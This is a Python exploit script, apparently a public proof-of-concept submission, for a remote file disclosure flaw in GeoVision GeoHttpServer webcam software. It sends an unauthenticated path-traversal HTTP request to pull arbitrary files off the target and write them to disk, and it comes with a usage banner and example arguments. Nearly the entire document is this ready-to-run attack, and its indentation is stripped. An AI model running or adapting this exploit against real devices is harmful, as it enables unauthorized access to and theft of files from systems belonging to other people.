#!/usr/bin/python
import os
import sys
import socket
import binascii
'''
Title : GeoVision GeoHttpServer WebCams Remote File Disclosure Exploit
CVE-ID : none
Product : GeoVision
System : GeoHttpServer
Affected : 8.3.3.0 (may be more)
Impact : Critical
Remote : Yes
Website link: http://www.geovision.com.tw/
Reported : 10/06/2015
Author : Viktor Minin, minin.viktor@gmail.com
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
No authentication (login) is required to exploit this vulnerability.
The GeoVision GeoHttpServer application is prone to a remote file disclosure vulnerability.
An attacker can exploit this vulnerability to retrieve and download stored files on server such as 'boot.ini' and 'win.ini' by using a simple url request which made by browser.
'''
#os.system("cls")
os.system('title GeoVision GeoHttpServer Webcams Remote File Disclosure Exploit');
os.system('color 2');
socket.setdefaulttimeout = 0.50
os.environ['no_proxy'] = '127.0.0.1,localhost'
CRLF = "\r\n"
def main():
print "#######################################################################"
print "# GeoVision GeoHttpServer Webcams Remote File Disclosure Exploit"
print "# Usage: <ip> <port> <file>"
print "# Example: " +sys.argv[0]+ " 127.0.0.1 1337 windows\win.ini"
print "#######################################################################"
exit()
try:
url = sys.argv[1]
port = int(sys.argv[2])
#files = open(sys.argv[3],'r').read().split()
file = sys.argv[3]
except:
main()
def recvall(sock):
data = ""
part = None
while part != "":
part = sock.recv(4096)
data += part
return data
def request(url, port, pfile):
PATH = str(pfile)
HOST = url
PORT = port
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.connect((HOST, PORT))
sock.send("GET /...\...\\" + PATH + "%s HTTP/1.0\r\n\r\n" % (CRLF))
data = recvall(sock)
temp = data.split("\r\n\r\n")
sock.shutdown(1)
sock.close()
return temp[1]
ret = request(url, port, file)
hex = "".join("{:02x}".format(ord(c)) for c in ret)
bin = binascii.unhexlify(hex)
print ret
file = open(file.replace('\\', '_'),"wb")
file.write(bin)
file.close()
#~EOF
